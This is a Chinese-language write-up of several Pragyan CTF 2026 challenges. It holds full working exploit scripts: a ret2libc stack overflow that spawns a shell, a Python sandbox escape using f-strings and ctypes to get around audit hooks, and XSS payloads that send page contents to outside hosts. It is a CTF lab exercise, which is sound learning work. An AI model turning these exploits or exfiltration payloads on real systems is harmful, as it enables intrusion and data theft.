Pragyan CTF 2026 部分题解(Writeup)
Pragyan CTF 2026 解题思路分享。比赛于北京时间2月8日21点结束,以下是我在两天内独立完成的部分题目的详解。
CRYPTO
Dro4_Null5
题目:challenge.py
import os
from dotenv import load_dotenv
load_dotenv()
from Crypto.Cipher import AES
from Crypto.Hash import SHA256, HMAC
from Crypto.Protocol.KDF import HKDF
flag = os.environ.get("FLAG", "p_ctf{HIDDEN}")
BANNER = r"""
----------- dora - nulls - pctf -2026 --------------
"""
backpack = {
"Administrator": "****************************************************************"
}
def show_map():
print(BANNER)
print("\n1. login")
print("2. register")
print("3. exit")
return int(input("choose "))
def explore():
challenge_hex = input("challenge (hex): ").strip()
challenge = bytes.fromhex(challenge_hex)
if len(challenge) != 8:
print("invalid challenge length")
return
friend_name = input("username: ").strip()
if not (6 < len(friend_name) < 20):
print("invalid username length")
return
if friend_name not in backpack:
print(f"user {friend_name} not found")
return
explorer_secret = backpack[friend_name].encode()
server_token = os.urandom(8)
print(f"server challenge: {server_token.hex()}")
response_hex = input("response (hex): ").strip()
response = bytes.fromhex(response_hex)
if len(response) != 8:
print("invalid response length")
return
navigation_key = HKDF(
master=explorer_secret,
key_len=16,
salt=challenge + server_token,
hashmod=SHA256
)
expected_path = compute_path(navigation_key, challenge)
if verify_credential(navigation_key, expected_path, response):
print(f"authentication successful: {friend_name}")
if friend_name == "Administrator":
print(f"flag: {flag}")
else:
print("authentication failed")
def add_friend():
friend_name = input("username: ").strip()
if not (6 < len(friend_name) < 20):
print("invalid username length")
return
if friend_name in backpack:
print("username already exists")
return
discovery_code = input("password hash (64 chars): ").strip()
if len(discovery_code) != 64:
print("invalid hash length")
return
backpack[friend_name] = discovery_code
print("registration successful")
def compute_path(navigation_key, challenge):
state = bytearray(16) + bytearray(challenge)
tracker = AES.new(navigation_key, AES.MODE_ECB)
for step in range(8):
scan = tracker.encrypt(state[step:step + 16])
state[16 + step] ^= scan[0]
return bytes(state[-8:])
def verify_credential(session_key, expected, provided):
h = HMAC.new(session_key, expected, SHA256)
mask = h.digest()[:8]
checksum = 0
for i in range(8):
checksum ^= expected[i] ^ provided[i] ^ mask[i]
return checksum == 0
def main():
for _ in range(0x1337):
selection = show_map()
if selection == 1:
explore()
elif selection == 2:
add_friend()
else:
print("session terminated")
return
if __name__ == "__main__":
main()这是一道基于挑战-响应的身份验证CTF题目。先看看获取flag的条件:
flag = os.environ.get("FLAG", "p_ctf{HIDDEN}")
...
def explore():
...
if verify_credential(navigation_key, expected_path, response):
print(f"authentication successful: {friend_name}")
if friend_name == "Administrator":
print(f"flag: {flag}")
else:
print("authentication failed")代码从环境变量中读取的flag,只要成功鉴权Administrator,就会打印输出flag。这里继续跟进关键鉴权函数verify_credential:
def verify_credential(session_key, expected, provided):
h = HMAC.new(session_key, expected, SHA256)
mask = h.digest()[:8]
checksum = 0
for i in range(8):
checksum ^= expected[i] ^ provided[i] ^ mask[i]
return checksum == 0verify_credential函数接收session_key、expected和provided,采用异或累加算法计算校验和来比对expected和provided,引入HMAC算法作为掩码。最后校验checksum == 0,概率是1/256,感觉直接爆破好像也可以。按流程我们先来看看session_key、expected和provided这三个参数有哪些我们是可以控制的。先看provided:
def explore():
...
response_hex = input("response (hex): ").strip()
response = bytes.fromhex(response_hex)
if len(response) != 8:
print("invalid response length")
return
...
if verify_credential(navigation_key, expected_path, response):
...看起来没什么特殊的要求,直接就是我们输入的response。接着看navigation_key:
def explore():
challenge_hex = input("challenge (hex): ").strip()
challenge = bytes.fromhex(challenge_hex)
if len(challenge) != 8:
print("invalid challenge length")
return
...
explorer_secret = backpack[friend_name].encode()
server_token = os.urandom(8)
print(f"server challenge: {server_token.hex()}")
...
navigation_key = HKDF(
master=explorer_secret,
key_len=16,
salt=challenge + server_token,
hashmod=SHA256
)
...
if verify_credential(navigation_key, expected_path, response):
...navigation_key是由我们输入的challenge、待鉴权用户的explorer_secret和系统随机数server_token通过HKDF计算得来的,没什么破绽,暂时放一边。最后看expected_path:
def explore():
challenge_hex = input("challenge (hex): ").strip()
challenge = bytes.fromhex(challenge_hex)
if len(challenge) != 8:
print("invalid challenge length")
return
...
expected_path = compute_path(navigation_key, challenge)
if verify_credential(navigation_key, expected_path, response):
...expected_path是由我们输入的challenge和上面的navigation_key通过compute_path计算得到的。这里我们暂时判断navigation_key不可控。继续跟进函数compute_path:
def compute_path(navigation_key, challenge): # 选择明文攻击,输出是challenge的后8个字节
state = bytearray(16) + bytearray(challenge)
tracker = AES.new(navigation_key, AES.MODE_ECB)
for step in range(8):
scan = tracker.encrypt(state[step:step + 16])
state[16 + step] ^= scan[0]
return bytes(state[-8:])compute_path函数透露着浓浓的问题感,函数最终返回值取的是state的最后8个字节。for循环里进行异或加密的是state的16-24个字节,也就是for循环加密了个空气,tracker都不用看了。state的最后8个字节又是challenge的最后8个字节。所以compute_path函数的最终结果,也就是expected_path的值其实就是challenge的最后8个字节,对于我们来说完全可控。
def verify_credential(session_key, expected, provided):
h = HMAC.new(session_key, expected, SHA256)
mask = h.digest()[:8]
checksum = 0
for i in range(8):
checksum ^= expected[i] ^ provided[i] ^ mask[i]
return checksum == 0verify_credential需要的三个参数都分析完了,expected和provided完全可控,session_key完全不可控制。先试试保持expected和provided不变,对checksum进行掩码碰撞攻击。本地测试了一下几秒就碰撞出来了,直接上服务器,国外的服务器很卡,但是还是很快碰撞成功得到flag。碰撞脚本如下:
from pwn import remote, process
noFlag = True
while noFlag:
try:
p = remote("dora-nulls.ctf.prgy.in", 1337, ssl=True)
p = process("./challenge.py")
p.recvuntil(b"choose ")
for i in range(0x1337):
p.sendline(b"1")
p.recvuntil(b"challenge (hex): ")
p.sendline(b"0" * 16)
p.recvuntil(b"username: ")
p.sendline(b"Administrator")
p.recvuntil(b"response (hex): ")
p.sendline(b"0" * 16)
res = p.recvuntil(b"choose ").decode()
print(res, i)
if "flag: " in res:
noFlag = False
break
except KeyboardInterrupt:
break
except Exception as e:
print(e)
breakPWN
dirtyLaundry
题目有chal、libc.so.6和ld-2.35.so见附件。这里给出运行的交互输出、chesec和汇编:
$ LD_PRELOAD=./libc.so.6 ./ld-2.35.so ./chal
--- Laundromat v2.0 ---
The washing machine is running...
Add your laundry: adfadfadf
Laundry complete Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No.text:00000000004011BF public vuln
.text:00000000004011BF vuln proc near ; CODE XREF: main+22↓p
.text:00000000004011BF
.text:00000000004011BF buf = byte ptr -40h
.text:00000000004011BF
.text:00000000004011BF ; __unwind {
.text:00000000004011BF push rbp
.text:00000000004011C0 mov rbp, rsp
.text:00000000004011C3 sub rsp, 40h
.text:00000000004011C7 lea rax, aTheWashingMach ; "The washing machine is running..."
.text:00000000004011CE mov rdi, rax ; s
.text:00000000004011D1 call _puts
.text:00000000004011D6 lea rax, format ; "Add your laundry: "
.text:00000000004011DD mov rdi, rax ; format
.text:00000000004011E0 mov eax, 0
.text:00000000004011E5 call _printf
.text:00000000004011EA lea rax, [rbp+buf]
.text:00000000004011EE mov edx, 100h ; nbytes
.text:00000000004011F3 mov rsi, rax ; buf
.text:00000000004011F6 mov edi, 0 ; fd
.text:00000000004011FB call _read
.text:0000000000401200 lea rax, aLaundryComplet ; "Laundry complete"
.text:0000000000401207 mov rdi, rax ; format
.text:000000000040120A mov eax, 0
.text:000000000040120F call _printf
.text:0000000000401214 nop
.text:0000000000401215 leave
.text:0000000000401216 retn
.text:0000000000401216 ; } // starts at 4011BF
.text:0000000000401216 vuln endp从汇编代码buf = byte ptr -40h可以看出来buf字节数组的长度是0x40,根据mov edx, 100h可知read函数允许从标准输入读取的最大长度是0x100,read读取输入溢出了,由sub rsp, 40h判断栈大小为0x40,确认栈溢出,溢出0x100-0x40=192个字节,ret地址的偏移是0x40+8=72。题目提供了libc和ld文件,大概率就是ret2libc,看了一下chal里面的函数和字符串,没有任何意外,比我的裤兜还干净。
随便找个函数泄露一下地址,这里我选了puts函数,用objdump获取plt和got地址:
$ objdump -d chal | grep 'puts@plt'
0000000000401020 <puts@plt-0x10>:
0000000000401030 <puts@plt>:
4011b7: e8 74 fe ff ff call 401030 <puts@plt>
4011d1: e8 5a fe ff ff call 401030 <puts@plt>
401234: e8 f7 fd ff ff call 401030 <puts@plt>
$ objdump -R ./chal | grep -E "puts"
0000000000404000 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5puts函数的plt地址是0x401030,got地址是0x404000。plt地址是用来ret时调用的,got存放的是要泄露的puts的真实地址。现在还差一个pop rdi的小gadget,用ROPgadget命令找一下:
$ ROPgadget --binary ./chal | grep "pop rdi"
0x00000000004011a6 : cld ; pop rdi ; pop r14 ; ret
0x00000000004011a5 : jge 0x4011a3 ; pop rdi ; pop r14 ; ret
0x00000000004011a7 : pop rdi ; pop r14 ; ret这里选pop rdi ; pop r14 ; ret地址是0x4011a7。注意,这个gadget使用的时候需要在后面多写入一个栈数据(pop r14)。接着构造能泄露puts真实地址的攻击脚本:
from pwn import remote, process, ELF, p64, log, u64
debug = False
libc_path = "./libc.so.6"
p = process(argv=["./ld-2.35.so", "./chal"], env={"LD_PRELOAD": libc_path}) if debug else remote(host="dirty-laundry.ctf.prgy.in", port=1337, ssl=True)
puts_plt = 0x000000000401030
puts_got = 0x000000000404000
pop_rdi_r14_ret = 0x00000000004011a7
ret_addr = 0x000000000040101a
vuln_addr = 0x0000000004011bf
payload = b"a" * 72
payload += p64(pop_rdi_r14_ret)
payload += p64(puts_got)
payload += b"a"*8 # pop r14
payload += p64(ret_addr)
payload += p64(puts_plt)
payload += p64(vuln_addr)
log.success(f"payload length: {len(payload)}")
p.sendlineafter(b"Add your laundry: ", payload)
p.recvuntil(b"Laundry complete")
leaked_puts = p.recvline()
puts_addr = u64(leaked_puts.strip().ljust(8, b'\x00'))
log.success(f"Leaked puts address: {hex(puts_addr)}")其中,多出来了两个地址ret_addr和vuln_addr。首先,ret_addr是因为执行call puts_plt的使用检测到栈不平衡报错了,简单在puts_plt前加上一个ret_addr就可以了,贴上ret_addr的ROPgadget命令:
$ ROPgadget --binary ./chal | grep -E ": ret$"
0x000000000040101a : retvuln_addr则是为了泄露puts的真实地址后能继续利用,毕竟这个真实地址也就这次运行有效,所以不能结束,泄露出地址就要马上用,所以直接call回vuln函数就可以了,贴上vuln_addr的objdump命令:
$ objdump -D ./chal | grep "vuln"
00000000004011bf <vuln>:
401239: e8 81 ff ff ff call 4011bf <vuln>接着在脚本里新增libc基址、system函数和/bin/sh字符串的地址计算的代码:
libc = ELF(libc_path)
# puts_addr 是上一轮泄露出来的puts的真实地址
puts_offset = libc.functions['puts'].address
log.success(f"puts offset: {hex(puts_offset)}")
libc_base_addr = puts_addr - puts_offset
log.success(f"libc base addr: {hex(libc_base_addr)}")
system_offset = libc.functions['system'].address
log.success(f"system offset: {hex(system_offset)}")
system_addr = libc_base_addr + system_offset
log.success(f"system addr: {hex(system_addr)}")
bin_sh_offset = list(libc.search(b'/bin/sh'))[0]
log.success(f"/bin/sh offset: {hex(bin_sh_offset)}")
bin_sh_addr = libc_base_addr + bin_sh_offset
log.success(f"/bin/sh addr: {hex(bin_sh_addr)}")接着继续构建第二轮溢出利用的脚本:
payload = b"a" * 72
payload += p64(pop_rdi_r14_ret)
payload += p64(bin_sh_addr)
payload += b"a"*8
payload += p64(ret_addr)
payload += p64(ret_addr)
payload += p64(system_addr)
log.success(f"payload length: {len(payload)}")
p.sendlineafter(b"Add your laundry: ", payload)
p.interactive()这次为了保证栈平衡需要在ret system_addr前调用两次ret。最终完整利用脚本如下:
from pwn import remote, process, ELF, p64, log, u64
debug = False
libc_path = "./libc.so.6"
libc = ELF(libc_path)
p = process(argv=["./ld-2.35.so", "./chal"], env={"LD_PRELOAD": libc_path}) if debug else remote(host="dirty-laundry.ctf.prgy.in", port=1337, ssl=True)
puts_plt = 0x000000000401030
puts_got = 0x000000000404000
pop_rdi_r14_ret = 0x00000000004011a7
vuln_addr = 0x0000000004011bf
ret_addr = 0x000000000040101a
payload = b"a" * 72
payload += p64(pop_rdi_r14_ret)
payload += p64(puts_got)
payload += b"a"*8
payload += p64(ret_addr)
payload += p64(puts_plt)
payload += p64(vuln_addr)
log.success(f"payload length: {len(payload)}")
p.sendlineafter(b"Add your laundry: ", payload)
p.recvuntil(b"Laundry complete")
leaked_puts = p.recvline()
puts_addr = u64(leaked_puts.strip().ljust(8, b'\x00'))
log.success(f"Leaked puts address: {hex(puts_addr)}")
puts_offset = libc.functions['puts'].address
log.success(f"puts offset: {hex(puts_offset)}")
libc_base_addr = puts_addr - puts_offset
log.success(f"libc base addr: {hex(libc_base_addr)}")
system_offset = libc.functions['system'].address
log.success(f"system offset: {hex(system_offset)}")
system_addr = libc_base_addr + system_offset
log.success(f"system addr: {hex(system_addr)}")
bin_sh_offset = list(libc.search(b'/bin/sh'))[0]
log.success(f"/bin/sh offset: {hex(bin_sh_offset)}")
bin_sh_addr = libc_base_addr + bin_sh_offset
log.success(f"/bin/sh addr: {hex(bin_sh_addr)}")
payload = b"a" * 72
payload += p64(pop_rdi_r14_ret)
payload += p64(bin_sh_addr)
payload += b"a"*8
payload += p64(ret_addr)
payload += p64(ret_addr)
payload += p64(system_addr)
log.success(f"payload length: {len(payload)}")
p.sendlineafter(b"Add your laundry: ", payload)
p.interactive()pCalc
题目:chal.py
#!/usr/bin/env python3
import ast
import sys
import os
def audit_hook(event, args):
if event in ['os.system', 'os.popen', 'os.spawn', 'subprocess.Popen']:
raise RuntimeError("Blocked Action Detected")
if event == 'open' and isinstance(args[0], str) and 'flag' in args[0]:
raise RuntimeError("Forbidden File Access")
sys.addaudithook(audit_hook)
class Calculator(ast.NodeVisitor):
def __init__(self):
self.is_valid = True
def visit(self, node):
if isinstance(node, (ast.Module, ast.Expr, ast.BinOp, ast.UnaryOp,
ast.Constant, ast.Name, ast.Load,
ast.operator, ast.unaryop)):
super().visit(node)
elif isinstance(node, ast.JoinedStr):
pass
else:
print(f"Forbidden node type '{type(node).__name__}'")
self.is_valid = False
def run_jail():
print("Welcome to pCalc")
print("+, -, *, and / are supported")
user_input = input(">>> ")
if "import" in user_input:
print("'import' is a bad word.")
return
try:
tree = ast.parse(user_input)
except SyntaxError:
print("Invalid Syntax")
return
validator = Calculator()
validator.visit(tree)
if not validator.is_valid:
print("Expression rejected")
return
safe_globals = {"__builtins__": {}}
try:
result = eval(user_input, safe_globals)
print("本地测试输出", result) # 我增加的用于本地测试的代码
if isinstance(result, (int, float, complex)):
print(result)
else:
print("Error: Calculator only supports numbers.")
except Exception as e:
print(f"Runtime Error: {e}")
run_jail()这是一道Python沙箱逃逸的CTF题。正常功能是一个计算器。分析代码列举出下面这些条件:
- 输入不能包含
import字符串。 eval执行的结果只能是int、float或complex类型才会输出。eval执行报错会输出报错信息。eval中globals什么都没有。- 语法树检查只允许
Module、Expr、BinOp、UnaryOp、Constant、Name、Load、operator、unaryop和JoinedStr。 - 函数调用审计不允许
['os.system', 'os.popen', 'os.spawn', 'subprocess.Popen']这几个函数,同时event == 'open' and isinstance(args[0], str) and 'flag' in args[0]所有open函数不允许访问包含flag字样的文件。
首先,第一需要解决的问题是语法树检查:
class Calculator(ast.NodeVisitor):
...
def visit(self, node):
if isinstance(node, (ast.Module, ast.Expr, ast.BinOp, ast.UnaryOp,
ast.Constant, ast.Name, ast.Load,
ast.operator, ast.unaryop)):
super().visit(node)
elif isinstance(node, ast.JoinedStr):
pass
else:
print(f"Forbidden node type '{type(node).__name__}'")
self.is_valid = False这里有一个很关键的地方,就是不检查ast.JoinedStr极其所有子节点。也就是字符串拼接相关的不检查,那是不是可以使用f-string的来进行绕过。测试脚本如下:
from pwn import remote, process
debug = True
p = process("chal.py") if debug else remote(host="pcalc.ctf.prgy.in", port=1337, ssl=True)
payload = b'''()''' # 正常情况下,无法通过语法树检查
payload = b'''f"{()}"''' # 通过语法树检查
p.sendlineafter(b">>> ", payload)
p.interactive()其中,执行payload为b'''()''',无法通过语法树检查,提示Forbidden node type 'Tuple'。但是使用f-string包裹之后确可以正常输出。成功验证f-string可以用于绕过语法树检查。
接着需要解决eval中globals环境的问题。这个可以直接获取object基类再通过它的子类来获取需要的一些函数,如[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['__builtins__']['print'],先通过object获取到一些object的子类,然后遍历找到_wrap_close,调用_wrap_close的__init__.__globals__就可以获取到部分globals。简单构建一个查看当前文件夹下面文件的payload:
from pwn import remote, process
debug = True
p = process("chal.py") if debug else remote(host="pcalc.ctf.prgy.in", port=1337, ssl=True)
payload = b'''f"{[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['__builtins__']['print']([c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['listdir']())}"'''
p.sendlineafter(b">>> ", payload)
p.interactive()运行获取服务器目录下的文件,成功得到flag的文件名(flag.txt):
$ uv run exp.py
[+] Opening connection to pcalc.ctf.prgy.in on port 1337: Done
[*] Switching to interactive mode
['run', 'flag.txt']
Error: Calculator only supports numbers.接着构建一个文件读取或者一个命令执行。这里我选择构建一个文件读取,观察函数调用黑名单代码:
...
def audit_hook(event, args):
if event in ['os.system', 'os.popen', 'os.spawn', 'subprocess.Popen']:
raise RuntimeError("Blocked Action Detected")
if event == 'open' and isinstance(args[0], str) and 'flag' in args[0]:
raise RuntimeError("Forbidden File Access")
sys.addaudithook(audit_hook)
...这里我起初以为open只是禁用掉了io的open也就是__builtins__的open。我使用io.open配合io.read就可以绕过了,测试后发现还是被拦截了。这里审计调用过滤的python下的所有函数名为open的函数。紧接着我就开始尝试使用ctypes,去调用更底层的open函数去获取fd。构建的payload如下:
payload = b'''f"{[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['__builtins__']['print']([c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['read']([c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['__builtins__']['__imp'+'ort__']('ctypes').CDLL(None).open(b'flag.txt',0,0),512))}"'''其中,import是直接采用字符串拼接的方式绕过检查['__imp'+'ort__']。成功读取flag.txt。最终完整脚本如下:
from pwn import remote, process
debug = False
p = process("chal.py") if debug else remote(host="pcalc.ctf.prgy.in", port=1337, ssl=True)
# payload = b'''()'''
# payload = b'''f"{()}"'''
# payload = b'''f"{[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['__builtins__']['print']([c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['listdir']())}"'''
payload = b'''f"{[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['__builtins__']['print']([c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['read']([c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['__builtins__']['__imp'+'ort__']('ctypes').CDLL(None).open(b'flag.txt',0,0),512))}"'''
p.sendlineafter(b">>> ", payload)
p.interactive()未完成题目的一些思考
Shadow Fight
关于xss绕过的思考:
起初我直接使用</script>标签进行xss注入的,注入位置是script位置如下:
<script>
const name = "admin";
const avatar = "https://picsum.photos/1";window.find('ctf');document.execCommand("SelectAll");const a=document.createElement("img");a.src=`https://xss.com/1.jpg?a=${document.getSelection().toString()}`;document.querySelector('.card').appendChild(a);</script><script>"";
const nameIsValid = name && validateName(name);
const avatarIsValid = avatar && validateAvatar(avatar);
const c = document.getElementById('profile-container');
if (nameIsValid && avatarIsValid) {
const avatarEl = document.createElement('img');
avatarEl.src = avatar;
c.appendChild(avatarEl);
const nameEl = document.createElement('div');
nameEl.innerHTML = name;
c.appendChild(nameEl);
const reviewSubmitBtn = document.createElement('button');
reviewSubmitBtn.id = 'review-submit-btn';
reviewSubmitBtn.type = 'button';
reviewSubmitBtn.textContent = 'Submit for Review';
c.appendChild(reviewSubmitBtn);
const tipEl = document.createElement('div');
tipEl.innerHTML = '<small class="info"> <strong>Tip:</strong> Submit your profile for admin review ONLY when you are sure. Dont spam submit </small>';
c.appendChild(tipEl);
reviewSubmitBtn.addEventListener('click', async (e) => {
e.preventDefault();
const params = new URLSearchParams(window.location.search);
const response = await fetch('/review?' + params.toString(), {
method: 'POST'
});
const result = await response.text();
alert(result);
});
} else {
c.innerHTML += '<small>Please fill in all required fields</small>'
}
</script>后面测试多了之后发现好像不行了,于是又换了下面的注入方式:
const name = "<svg/onload=eval(`'${avatar}`)>";
const avatar = "https://picsum.photos/100/100';eval(`const w=${'w'}indow;w.find('ctf');const d=${'d'}ocument;d.execCommand('SelectAll');const a=d.createElement('img');a.src='https://fangpengchi.com/assets/frappe/images/frappe-favicon.svg?a='+${'b'}toa(w.getSelection().toString());c.appendChild(a);`);";其中name和avatar是全局对象,所以可以在其他元素的javascript中直接使用。然后需要利用`绕过白名单检查:
function validateName(input) {
if (typeof input !== 'string') return false;
// max 50 char username
if (input.length < 2 || input.length > 50) return false;
return isSafe(input);
}
function validateAvatar(input) {
if (typeof input !== 'string') return false;
if (!input.startsWith('https://')) return false;
// TODO: add file upload feature and whitelist my cdn endpoint
const allowedDomains = [
'picsum.photos',
'imgur.com',
'i.imgur.com',
'unsplash.com',
'pexels.com',
];
try {
const url = new URL(input);
if (!allowedDomains.includes(url.hostname)) return false;
} catch {
return false;
}
return isSafe(input);
}
function isSafe(input) {
const blockedWords = [
"\"", // prevent attribute escape
'\n',
'\r',
'fetch',
'XMLHttpRequest',
'navigator',
'sendBeacon',
'postMessage',
'location',
'document',
'window',
'Function',
'constructor',
'import',
'__proto__',
'prototype',
'escape',
'from',
'char',
'atob',
'btoa'
];
const lowerInput = input.toLowerCase();
for (const word of blockedWords) {
if (lowerInput.includes(word.toLowerCase())) return false;
}
// other validations
if (/%0a|%0d/i.test(input)) return false; // Block URL encoded stuff
if (/\\x[\da-f]{2}/i.test(input)) return false; // Hex escapes
return true
}
包括后面的Shadow Fight 2都可以绕过,xss成功注入后开始尝试访问shadow dom中的flag,我采用window.find+document.execCommand('copy')+window.getSelection().toString()的方式去读取flag,我本地测试是没有问题的,远程经过多次尝试后(期间还发现服务器是有url缓存的,就是重复提交同一个url是不会触发review)终于获取到flag了,但是还是假的flag。最后猜想应该是需要在admin review的时候去提交一个admin的review请求,让admin去review自己的profile才能获取到flag,但是我的window.find+document.execCommand('copy')+window.getSelection().toString()读取flag的概率太低了别说套多一层review了,感觉希望渺茫,开始寻找更稳定的shadow dom读取方式。
题外话
时隔多年,离职在家,今天突然想起大学打CTF的日子,小小尝试了一下,感觉还是生疏了很多。
分析Dro4_Null5的HMAC掩码校验漏洞、dirtyLaundry栈溢出利用及pCalc f-string沙箱逃逸链
由 AI 根据全文自动生成,仅供参考,以原文为准